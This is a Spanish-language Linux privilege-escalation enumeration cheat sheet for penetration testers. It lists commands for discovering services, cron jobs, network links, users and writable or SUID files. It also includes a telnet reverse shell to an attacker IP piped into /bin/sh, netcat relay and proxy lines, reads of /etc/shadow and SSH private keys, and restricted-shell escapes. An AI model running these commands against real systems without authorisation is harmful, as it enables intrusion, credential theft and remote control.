Enumeracion de Linux

La enumeración es clave. La escalación de privilegios en Linux se trata de:

  • Recopilar: Enumeración, más enumeración y aún más enumeración.

  • Procesar: Ordenar los datos, analizar y priorizar.

  • Buscar: Saber qué buscar y dónde encontrar el código de exploit.

  • Adaptar: Personalizar el exploit para que encaje. No todos los exploits funcionan para cada sistema "tal cual".

  • Intentar: Prepárate para (muchos) ensayos y errores.

Sistema Operativo ¿Cuál es el tipo de distribución? ¿Qué versión es?

  • cat /etc/issue

  • cat /etc/*-release

  • cat /etc/lsb-release

  • cat /etc/redhat-release

¿Cuál es la versión del Kernel? ¿Es de 64 bits?

  • cat /proc/version

  • uname -a

  • uname -mrs

  • rpm -q kernel

  • dmesg | grep Linux

  • ls /boot | grep vmlinuz-

¿Qué se puede aprender de las variables de entorno?

  • cat /etc/profile

  • cat /etc/bashrc

  • cat ~/.bash_profile

  • cat ~/.bashrc

  • cat ~/.bash_logout

  • env

  • set

¿Hay una impresora?

  • lpstat -a

Aplicaciones y Servicios ¿Qué servicios están corriendo? ¿Qué servicio tiene qué privilegios de usuario?

  • ps aux

  • ps -ef

  • top

  • cat /etc/service

¿Qué servicios están siendo ejecutados por root? De estos servicios, ¿cuáles son vulnerables? ¡Vale la pena verificarlo dos veces!

  • ps aux | grep root

  • ps -ef | grep root

¿Qué aplicaciones están instaladas? ¿Qué versión tienen? ¿Están corriendo actualmente?

  • ls -alh /usr/bin/

  • ls -alh /sbin/

  • dpkg -l

  • rpm -qa

  • ls -alh /var/cache/apt/archives

  • ls -alh /var/cache/yum/

¿Alguna configuración de servicio está mal configurada? ¿Algún plugin (vulnerable) está adjunto?

  • cat /etc/syslog.conf

  • cat /etc/chttp.conf

  • cat /etc/lighttpd.conf

  • cat /etc/cups/cupsd.conf

  • cat /etc/inetd.conf

  • cat /etc/apache2/apache2.conf

  • cat /etc/my.conf

  • cat /etc/httpd/conf/httpd.conf

  • cat /opt/lampp/etc/httpd.conf

  • ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

¿Qué trabajos están programados?

  • crontab -l

  • ls -alh /var/spool/cron

  • ls -al /etc/ | grep cron

  • ls -al /etc/cron*

  • cat /etc/cron*

  • cat /etc/at.allow

  • cat /etc/at.deny

  • cat /etc/cron.allow

  • cat /etc/cron.deny

  • cat /etc/crontab

  • cat /etc/anacrontab

  • cat /var/spool/cron/crontabs/root

¿Hay nombres de usuario y/o contraseñas en texto plano?

  • grep -i user [filename]

  • grep -i pass [filename]

  • grep -C 5 "password" [filename]

  • find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Comunicaciones y Redes ¿Qué NIC(s) tiene el sistema? ¿Está conectado a otra red?

  • /sbin/ifconfig -a

  • cat /etc/network/interfaces

  • cat /etc/sysconfig/network

¿Cuáles son las configuraciones de red? ¿Qué se puede encontrar sobre esta red? ¿Servidor DHCP? ¿Servidor DNS? ¿Puerta de enlace?

  • cat /etc/resolv.conf

  • cat /etc/sysconfig/network

  • cat /etc/networks

  • iptables -L

  • hostname

  • dnsdomainname

¿Qué otros usuarios y hosts están comunicándose con el sistema?

  • lsof -i

  • lsof -i :80

  • grep 80 /etc/services

  • netstat -antup

  • netstat -antpx

  • netstat -tulpn

  • chkconfig --list

  • chkconfig --list | grep 3:on

  • last

  • w

¿Qué está en caché? ¿Direcciones IP y/o MAC?

  • arp -e

  • route

  • /sbin/route -nee

¿Es posible hacer sniffing de paquetes? ¿Qué se puede ver? Escuchar tráfico en vivo

  • tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

  • tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

¿Tienes una shell? ¿Puedes interactuar con el sistema?

  • nc -lvp 4444 # Atacante. Entrada (Comandos)

  • nc -lvp 4445 # Atacante. Salida (Resultados)

  • telnet [ip del atacante] 44444 | /bin/sh | [ip local] 44445 # En el sistema de la víctima. Usa la IP del atacante!

¿Es posible hacer port forwarding? Redirigir e interactuar con el tráfico desde otra vista

  • FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]

  • FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

  • ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Puerto Local

  • ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Puerto Remoto

  • mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Relé de Puertos

  • mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Puerto 80 a 8080)

  • mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Monitor de Proxy (Puerto 80 a 8080)

¿Es posible hacer túneles? Enviar comandos localmente, remotamente

  • ssh -D 127.0.0.1:9050 -N [usuario]@[ip]

  • proxychains ifconfig

Información Confidencial y Usuarios ¿Quién eres? ¿Quién está conectado? ¿Quién ha estado conectado? ¿Quién más está allí? ¿Quién puede hacer qué?

  • id

  • who

  • w

  • last

  • cat /etc/passwd | cut -d: # Lista de usuarios

  • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # Lista de superusuarios

  • awk -F: '($3 == "0") {print}' /etc/passwd # Lista de superusuarios

  • cat /etc/sudoers

  • sudo -l

¿Qué archivos sensibles se pueden encontrar?

  • cat /etc/passwd

  • cat /etc/group

  • cat /etc/shadow

  • ls -alh /var/mail/

¿Hay algo "interesante" en los directorios de inicio? Si es posible acceder

  • ls -ahlR /root/

  • ls -ahlR /home/

¿Hay contraseñas en scripts, bases de datos, archivos de configuración o archivos de log? Rutas y ubicaciones predeterminadas para contraseñas

  • cat /var/apache2/config.inc

  • cat /var/lib/mysql/mysql/user.MYD

  • cat /root/anaconda-ks.cfg

¿Qué ha estado haciendo el usuario? ¿Hay alguna contraseña en texto plano? ¿Qué han estado editando?

  • cat ~/.bash_history

  • cat ~/.nano_history

  • cat ~/.atftp_history

  • cat ~/.mysql_history

  • cat ~/.php_history

¿Qué información de usuario se puede encontrar?

  • cat ~/.bashrc

  • cat ~/.profile

  • cat /var/mail/root

  • cat /var/spool/mail/root

¿Se puede encontrar información de clave privada?

  • cat ~/.ssh/authorized_keys

  • cat ~/.ssh/identity.pub

  • cat ~/.ssh/identity

  • cat ~/.ssh/id_rsa.pub

  • cat ~/.ssh/id_rsa

  • cat ~/.ssh/id_dsa.pub

  • cat ~/.ssh/id_dsa

  • cat /etc/ssh/ssh_config

  • cat /etc/ssh/sshd_config

  • cat /etc/ssh/ssh_host_dsa_key.pub

  • cat /etc/ssh/ssh_host_dsa_key

  • cat /etc/ssh/ssh_host_rsa_key.pub

  • cat /etc/ssh/ssh_host_rsa_key

  • cat /etc/ssh/ssh_host_key.pub

  • cat /etc/ssh/ssh_host_key

Sistemas de Archivos ¿Qué archivos de configuración se pueden escribir en /etc/? ¿Es posible reconfigurar un servicio?

  • ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Cualquiera

  • ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Propietario

  • ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Grupo

  • ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Otros

  • find /etc/ -readable -type f 2>/dev/null # Cualquiera

  • find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Cualquiera

¿Qué se puede encontrar en /var/?

  • ls -alh /var/log

  • ls -alh /var/mail

  • ls -alh /var/spool

  • ls -alh /var/spool/lpd

  • ls -alh /var/lib/pgsql

  • ls -alh /var/lib/mysql

  • cat /var/lib/dhcp3/dhclient.leases

¿Hay algún ajuste/archivo (oculto) en el sitio web? ¿Algún archivo de configuración con información de base de datos?

  • ls -alhR /var/www/

  • ls -alhR /srv/www/htdocs/

  • ls -alhR /usr/local/www/apache22/data/

  • ls -alhR /opt/lampp/htdocs/

  • ls -alhR /var/www/html/

¿Hay algo en el(los) archivo(s) de log? (¡Podría ayudar con "Inclusión de Archivos Locales"!)

  • cat /etc/httpd/logs/access_log

  • cat /etc/httpd/logs/access.log

  • cat /etc/httpd/logs/error_log

  • cat /etc/httpd/logs/error.log

  • cat /var/log/apache2/access_log

  • cat /var/log/apache2/access.log

  • cat /var/log/apache2/error_log

  • cat /var/log/apache2/error.log

  • cat /var/log/apache/access_log

  • cat /var/log/apache/access.log

  • cat /var/log/auth.log

  • cat /var/log/chttp.log

  • cat /var/log/cups/error_log

  • cat /var/log/dpkg.log

  • cat /var/log/faillog

  • cat /var/log/httpd/access_log

  • cat /var/log/httpd/access.log

  • cat /var/log/httpd/error_log

  • cat /var/log/httpd/error.log

  • cat /var/log/lastlog

  • cat /var/log/lighttpd/access.log

  • cat /var/log/lighttpd/error.log

  • cat /var/log/lighttpd/lighttpd.access.log

  • cat /var/log/lighttpd/lighttpd.error.log

  • cat /var/log/messages

  • cat /var/log/secure

  • cat /var/log/syslog

  • cat /var/log/wtmp

  • cat /var/log/xferlog

  • cat /var/log/yum.log

  • cat /var/run/utmp

  • cat /var/webmin/miniserv.log

  • cat /var/www/logs/access_log

  • cat /var/www/logs/access.log

  • ls -alh /var/lib/dhcp3/

  • ls -alh /var/log/postgresql/

  • ls -alh /var/log/proftpd/

  • ls -alh /var/log/samba/

  • cat /var/log/auth.log

  • cat /var/log/boot

  • cat /var/log/btmp

  • cat /var/log/daemon.log

  • cat /var/log/debug

  • cat /var/log/dmesg

  • cat /var/log/kern.log

  • cat /var/log/mail.info

  • cat /var/log/mail.log

  • cat /var/log/mail.warn

  • cat /var/log/messages

  • cat /var/log/syslog

  • cat /var/log/udev

  • cat /var/log/wtmp

Si los comandos están limitados, ¿puedes salir de la "Shell TTY"?

  • python -c 'import pty;pty.spawn("/bin/bash")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

¿Cómo están montados los sistemas de archivos?

  • mount

  • df -h

¿Hay sistemas de archivos no montados?

  • cat /etc/fstab

¿Qué "Permisos Avanzados de Archivos en Linux" se están usando? Sticky bits, SUID y GUID

  • find / -perm -1000 -type d 2>/dev/null # Sticky bit - Solo el propietario del directorio o el propietario de un archivo puede eliminar o renombrar aquí.

  • find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - Ejecutar como el grupo, no como el usuario que lo inició.

  • find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - Ejecutar como el propietario, no como el usuario que lo inició.

  • find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID o SUID

  • find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null # Encontrar empezando desde root (/), SGID o SUID, no enlaces simbólicos, solo 3 carpetas de profundidad, listar con más detalles y ocultar cualquier error (por ejemplo, permiso denegado).

¿Dónde se puede escribir y ejecutar? Algunos lugares 'comunes': /tmp, /var/tmp, /dev/shm

  • find / -writable -type d 2>/dev/null # Directorios con permisos de escritura para todos

  • find / -perm -222 -type d 2>/dev/null # Directorios con permisos de escritura para todos

  • find / -perm -o+w -type d 2>/dev/null # Directorios con permisos de escritura para todos

  • find / -perm -o+x -type d 2>/dev/null # Directorios con permisos de ejecución para todos

  • find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # Directorios con permisos de escritura y ejecución para todos

¿Algún archivo "problemático"? Archivos con permisos de escritura para todos, archivos "nobody"

  • find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # Archivos con permisos de escritura para todos

  • find /dir -xdev \( -nouser -o -nogroup \) -print # Archivos sin propietario

Preparación y Búsqueda de Código de Explotación ¿Qué herramientas/lenguajes de desarrollo están instalados/soportados?

  • find / -name perl*

  • find / -name python*

  • find / -name gcc*

  • find / -name cc

¿Cómo se pueden subir archivos?

  • find / -name wget

  • find / -name nc*

  • find / -name netcat*

  • find / -name tftp*

  • find / -name ftp

Encontrar código de exploit

  • http://www.exploit-db.com

  • http://1337day.com

  • http://www.securiteam.com

  • http://www.securityfocus.com

  • http://www.exploitsearch.net

  • http://metasploit.com/modules/

  • http://securityreason.com

  • http://seclists.org/fulldisclosure/

  • http://www.google.com

Encontrar más información sobre el exploit

  • http://www.cvedetails.com

  • http://packetstormsecurity.org/files/cve/[CVE]

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

  • http://www.vulnview.com/cve-details.php?cvename=[CVE]

Última actualización